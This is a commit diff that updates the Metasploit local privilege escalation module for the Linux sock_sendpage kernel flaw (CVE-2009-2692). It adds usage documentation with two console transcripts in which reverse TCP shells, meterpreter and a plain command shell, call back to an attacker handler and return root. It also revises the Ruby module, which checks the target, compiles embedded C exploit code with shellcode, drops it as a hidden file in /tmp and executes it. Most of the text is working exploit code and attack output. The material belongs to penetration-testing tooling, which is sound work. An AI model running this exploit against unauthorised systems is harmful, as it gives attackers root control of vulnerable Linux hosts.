Land #9853, Update Linux sock_sendpage local exploit module
parent
92ada42fc5
commit
3b7d2c8177
|
@ -0,0 +1,121 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
The Linux kernel failed to properly initialize some entries in the
|
||||||
|
`proto_ops` struct for several protocols, leading to `NULL` being
|
||||||
|
dereferenced and used as a function pointer. By using `mmap(2)` to map
|
||||||
|
page `0`, an attacker can execute arbitrary code in the context of the
|
||||||
|
kernel.
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Several public exploits exist for this vulnerability, including
|
||||||
|
spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.
|
||||||
|
|
||||||
|
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
||||||
|
|
||||||
|
* 2.4.4 up to and including 2.4.37.4
|
||||||
|
* 2.6.0 up to and including 2.6.30.4
|
||||||
|
|
||||||
|
This module has been tested successfully on:
|
||||||
|
|
||||||
|
* CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
|
||||||
|
* Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
2. Get a session
|
||||||
|
3. `use exploit/linux/local/sock_sendpage`
|
||||||
|
4. `set SESSION [SESSION]`
|
||||||
|
5. `check`
|
||||||
|
6. `run`
|
||||||
|
7. You should get a new *root* session
|
||||||
|
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**SESSION**
|
||||||
|
|
||||||
|
Which session to use, which can be viewed with `sessions`
|
||||||
|
|
||||||
|
**WritableDir**
|
||||||
|
|
||||||
|
A writable directory file system path. (default: `/tmp`)
|
||||||
|
|
||||||
|
**DEBUG_EXPLOIT**
|
||||||
|
|
||||||
|
Enable exploit debug messages. (default: `false`)
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/local/sock_sendpage
|
||||||
|
msf exploit(linux/local/sock_sendpage) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf exploit(linux/local/sock_sendpage) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
|
||||||
|
payload => linux/x86/meterpreter/reverse_tcp
|
||||||
|
msf exploit(linux/local/sock_sendpage) > run
|
||||||
|
|
||||||
|
[!] SESSION may not be compatible with this module.
|
||||||
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||||
|
[+] Kernel version 2.6.18 appears to be vulnerable
|
||||||
|
[+] System architecture i686 is supported
|
||||||
|
[+] vm.mmap_min_addr is not set
|
||||||
|
[*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
|
||||||
|
[*] Executing payload...
|
||||||
|
[*] Transmitting intermediate stager...(106 bytes)
|
||||||
|
[*] Sending stage (857352 bytes) to 172.16.191.159
|
||||||
|
[*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=0, gid=0, euid=0, egid=0
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : 172.16.191.159
|
||||||
|
OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
|
||||||
|
Architecture : i686
|
||||||
|
BuildTuple : i486-linux-musl
|
||||||
|
Meterpreter : x86/linux
|
||||||
|
```
|
||||||
|
|
||||||
|
### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/local/sock_sendpage
|
||||||
|
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
|
||||||
|
payload => linux/x86/shell/reverse_tcp
|
||||||
|
msf exploit(linux/local/sock_sendpage) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf exploit(linux/local/sock_sendpage) > run
|
||||||
|
|
||||||
|
[!] SESSION may not be compatible with this module.
|
||||||
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||||
|
[+] Kernel version 2.4.27 appears to be vulnerable
|
||||||
|
[+] System architecture i686 is supported
|
||||||
|
[+] vm.mmap_min_addr is not set
|
||||||
|
[*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
|
||||||
|
[*] Executing payload...
|
||||||
|
[*] Sending stage (36 bytes) to 172.16.191.227
|
||||||
|
[*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
|
||||||
|
[!] Tried to delete /tmp/.69p3FeagB, unknown result
|
||||||
|
|
||||||
|
3356110123
|
||||||
|
lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
|
||||||
|
TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
|
||||||
|
LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
|
||||||
|
id
|
||||||
|
uid=0(root) gid=0(root) groups=100(users)
|
||||||
|
uname -a
|
||||||
|
Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux
|
||||||
|
```
|
||||||
|
|
|
@ -10,84 +10,152 @@ require 'msf/core/exploit/exe'
|
||||||
class MetasploitModule < Msf::Exploit::Local
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
Rank = GreatRanking
|
Rank = GreatRanking
|
||||||
|
|
||||||
include Msf::Exploit::EXE
|
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::Priv
|
||||||
|
include Msf::Post::Linux::Kernel
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
include Msf::Exploit::Local::LinuxKernel
|
include Msf::Exploit::Local::LinuxKernel
|
||||||
include Msf::Exploit::Local::Linux
|
include Msf::Exploit::Local::Linux
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info = {})
|
||||||
super( update_info( info, {
|
super(update_info(info,
|
||||||
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
|
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
The Linux kernel failed to properly initialize some entries the
|
The Linux kernel failed to properly initialize some entries in the
|
||||||
proto_ops struct for several protocols, leading to NULL being
|
proto_ops struct for several protocols, leading to NULL being
|
||||||
dereferenced and used as a function pointer. By using mmap(2) to map
|
dereferenced and used as a function pointer. By using mmap(2) to map
|
||||||
page 0, an attacker can execute arbitrary code in the context of the
|
page 0, an attacker can execute arbitrary code in the context of the
|
||||||
kernel.
|
kernel.
|
||||||
|
|
||||||
Several public exploits exist for this vulnerability, including
|
Several public exploits exist for this vulnerability, including
|
||||||
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
|
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
|
||||||
|
|
||||||
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
||||||
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
|
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
This module has been tested successfully on CentOS 5.0 (i386) with
|
||||||
'Author' =>
|
kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
|
||||||
[
|
kernel version 2.4.27-3-386.
|
||||||
'Tavis Ormandy', # discovery
|
},
|
||||||
'Julien Tinnes <julien at cr0.org>', # discovery
|
'License' => MSF_LICENSE,
|
||||||
'spender', # wunderbar_emporium.tgz
|
'Author' =>
|
||||||
'rcvalle', # sock_sendpage.c
|
[
|
||||||
'egypt' # metasploit module
|
'Tavis Ormandy', # discovery
|
||||||
],
|
'Julien Tinnes <julien at cr0.org>', # discovery
|
||||||
'Platform' => [ 'linux' ],
|
'spender', # wunderbar_emporium.tgz
|
||||||
'Arch' => [ ARCH_X86 ],
|
'rcvalle', # sock_sendpage.c
|
||||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
'egypt' # metasploit module
|
||||||
'References' =>
|
],
|
||||||
[
|
'Platform' => [ 'linux' ],
|
||||||
[ 'CVE', '2009-2692' ],
|
'Arch' => [ ARCH_X86 ],
|
||||||
[ 'OSVDB', '56992' ],
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
|
'References' =>
|
||||||
],
|
[
|
||||||
'Targets' =>
|
[ 'CVE', '2009-2692' ],
|
||||||
[
|
[ 'EDB', '9545' ],
|
||||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
|
[ 'EDB', '9641' ],
|
||||||
],
|
[ 'BID', '36038' ],
|
||||||
'DefaultTarget' => 0,
|
[ 'URL', 'https://www.securityfocus.com/archive/1/505751' ],
|
||||||
'DisclosureDate' => "Aug 13 2009",
|
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
|
||||||
}
|
],
|
||||||
))
|
'Targets' =>
|
||||||
register_options([
|
[
|
||||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
|
||||||
])
|
],
|
||||||
register_options([
|
'DisclosureDate' => 'Aug 13 2009',
|
||||||
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
|
'DefaultTarget' => 0))
|
||||||
])
|
register_options [
|
||||||
|
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||||
|
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
|
||||||
|
]
|
||||||
end
|
end
|
||||||
|
|
||||||
def executable_path
|
def base_dir
|
||||||
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
datastore['WritableDir']
|
||||||
|
end
|
||||||
|
|
||||||
@executable_path
|
def upload(path, data)
|
||||||
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||||
|
rm_f path
|
||||||
|
write_file path, data
|
||||||
|
register_file_for_cleanup path
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
version = Gem::Version.new kernel_release.split('-').first
|
||||||
|
|
||||||
|
if version.to_s.eql? ''
|
||||||
|
vprint_error 'Could not determine the kernel version'
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if version.between?(Gem::Version.new('2.4.4'), Gem::Version.new('2.4.37.4')) ||
|
||||||
|
version.between?(Gem::Version.new('2.6.0'), Gem::Version.new('2.6.30.4'))
|
||||||
|
vprint_good "Kernel version #{version} appears to be vulnerable"
|
||||||
|
else
|
||||||
|
vprint_error "Kernel version #{version} is not vulnerable"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
arch = kernel_hardware
|
||||||
|
unless arch.include?('x86') || arch =~ /i\d86/
|
||||||
|
vprint_error "System architecture #{arch} is not supported"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
if arch.include? 'x86_64'
|
||||||
|
vprint_error "System architecture #{arch} is not supported"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
vprint_good "System architecture #{arch} is supported"
|
||||||
|
|
||||||
|
mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'
|
||||||
|
if file_exist? mmap_min_addr_path
|
||||||
|
mmap_min_addr = read_file mmap_min_addr_path
|
||||||
|
else
|
||||||
|
mmap_min_addr = ''
|
||||||
|
end
|
||||||
|
|
||||||
|
case mmap_min_addr
|
||||||
|
when ''
|
||||||
|
vprint_good 'vm.mmap_min_addr is not set'
|
||||||
|
when '0'
|
||||||
|
vprint_good 'vm.mmap_min_addr is zero'
|
||||||
|
else
|
||||||
|
vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Appears
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
sc = Metasm::ELF.new(@cpu)
|
if check == CheckCode::Safe
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
if is_root?
|
||||||
|
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||||
|
end
|
||||||
|
|
||||||
|
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||||
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||||
|
end
|
||||||
|
|
||||||
|
sc = Metasm::ELF.new @cpu
|
||||||
sc.parse %Q|
|
sc.parse %Q|
|
||||||
#ifdef __ELF__
|
#ifdef __ELF__
|
||||||
.section ".bss" rwx
|
.section ".bss" rwx
|
||||||
.section ".text" rwx
|
.section ".text" rwx
|
||||||
#endif
|
#endif
|
||||||
|
|
|
|
||||||
current_task_struct_h(sc)
|
current_task_struct_h sc
|
||||||
if datastore["DEBUG_EXPLOIT"]
|
|
||||||
|
if datastore['DEBUG_EXPLOIT']
|
||||||
cparser.parse "#define DEBUG\n"
|
cparser.parse "#define DEBUG\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
case target.arch.first
|
main = %q^
|
||||||
when ARCH_X86
|
|
||||||
main = %q^
|
|
||||||
|
|
||||||
struct _IO_FILE;
|
struct _IO_FILE;
|
||||||
typedef void _IO_lock_t;
|
typedef void _IO_lock_t;
|
||||||
|
@ -244,6 +312,7 @@ int *apparmor_enabled;
|
||||||
int got_ring0 = 0;
|
int got_ring0 = 0;
|
||||||
unsigned long uid, gid;
|
unsigned long uid, gid;
|
||||||
|
|
||||||
|
/*
|
||||||
static unsigned long get_kernel_sym(char *name)
|
static unsigned long get_kernel_sym(char *name)
|
||||||
{
|
{
|
||||||
FILE *f;
|
FILE *f;
|
||||||
|
@ -278,7 +347,7 @@ static unsigned long get_kernel_sym(char *name)
|
||||||
fclose(f);
|
fclose(f);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
static void
|
static void
|
||||||
change_cred(void)
|
change_cred(void)
|
||||||
|
@ -403,24 +472,22 @@ int main(int argc, char **argv) {
|
||||||
|
|
||||||
return got_ring0;
|
return got_ring0;
|
||||||
}
|
}
|
||||||
|
|
||||||
^
|
^
|
||||||
main.gsub!(/SHELLCODE/) do
|
|
||||||
# Split the payload into chunks and dump it out as a hex-escaped
|
|
||||||
# literal C string.
|
|
||||||
Rex::Text.to_c(payload.encoded, 64, "shellcode")
|
|
||||||
end
|
|
||||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
|
||||||
|
|
||||||
cparser.parse(main, "main.c")
|
main.gsub!(/SHELLCODE/) do
|
||||||
#$stderr.puts cparser.factorize
|
# Split the payload into chunks and dump it out as a hex-escaped
|
||||||
#return
|
# literal C string.
|
||||||
|
Rex::Text.to_c payload.encoded, 64, 'shellcode'
|
||||||
asm = cpu.new_ccompiler(cparser, sc).compile
|
|
||||||
|
|
||||||
sc.parse asm
|
|
||||||
end
|
end
|
||||||
|
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||||
|
|
||||||
|
cparser.parse main, 'main.c'
|
||||||
|
#$stderr.puts cparser.factorize
|
||||||
|
#return
|
||||||
|
|
||||||
|
asm = cpu.new_ccompiler(cparser, sc).compile
|
||||||
|
|
||||||
|
sc.parse asm
|
||||||
sc.assemble
|
sc.assemble
|
||||||
sc.c_set_default_entrypoint
|
sc.c_set_default_entrypoint
|
||||||
|
|
||||||
|
@ -429,7 +496,7 @@ int main(int argc, char **argv) {
|
||||||
elf = sc.encode_string
|
elf = sc.encode_string
|
||||||
else
|
else
|
||||||
foo = sc.encode_string
|
foo = sc.encode_string
|
||||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
|
elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
|
||||||
end
|
end
|
||||||
rescue
|
rescue
|
||||||
print_error "Metasm Encoding failed: #{$!}"
|
print_error "Metasm Encoding failed: #{$!}"
|
||||||
|
@ -438,11 +505,13 @@ int main(int argc, char **argv) {
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
|
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}"
|
||||||
rm_f executable_path
|
|
||||||
write_file(executable_path, elf)
|
|
||||||
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
|
||||||
output.each_line { |line| vprint_status(line.chomp) }
|
|
||||||
|
|
||||||
|
upload payload_path, elf
|
||||||
|
cmd_exec "chmod +x #{payload_path}"
|
||||||
|
|
||||||
|
print_status 'Executing payload...'
|
||||||
|
output = cmd_exec payload_path
|
||||||
|
output.each_line { |line| vprint_status line.chomp }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue